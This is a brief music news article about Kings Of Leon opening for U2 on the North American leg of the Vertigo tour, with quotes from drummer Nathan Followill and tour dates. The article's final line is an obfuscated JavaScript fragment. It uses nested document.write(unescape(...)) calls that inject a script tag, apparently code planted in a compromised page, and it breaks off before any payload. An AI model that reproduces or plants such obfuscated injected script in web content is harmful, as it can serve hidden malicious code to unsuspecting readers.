Kings Of Leon over the moon

Kings Of Leon have revealed that "can't believe" that they will be supporting U2 on the rock giants' upcoming world tour.

The band will open on the North American leg of the 'Vertigo' jaunt, which will see the band move from playing 600-seat venues on their own tour of the US to 14,000 seat arenas, such as the San Diego Sports Arena.

Drummer Nathan Followill said: "We did a TV show called 'CD:UK' in London, and U2 were on the show too. We played, and then they played, and then we were getting ready to leave and their publicist said ‘Hey, Bono wants you guys to stay. He wants to meet you guys'."

He added: "So we had some drinks, and he was pretty cool and complimentary of our record, but just like a normal, down-to earth guy. Like a month later, our manager called us and was like, 'We just got the U2 offer'."

"I still can't believe we're going to be opening for U2. They're the biggest band in the world. Since the news first came out, we've had calls and e-mails from about 300 of our friends and family asking us for tickets."

However, Kings Of Leon remain unfazed by the prospect.

"Growing up, we weren't allowed to listen to U2, so an album like 'The Joshua Tree', we just discovered that like two years ago. If we were a band that had grown up listening to U2, we'd be a hell of a lot more scared than we are," Followill told MTV News. "But what we do take from U2 is the realisation of how great it would be to be a band for 20 years. We can only fathom how great we could potentially become as long as we keep our heads on straight and don't get married and divorced two or three times."

Kings Of Leon head to Japan on February 3 to play three dates, kicking off at Tokyo's The Liquid Room, before returning Stateside to embark on their own tour, starting at Nashville's Exit In on February 17.

U2's world tour will kick off at San Diego's Sports Arena on March 28.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22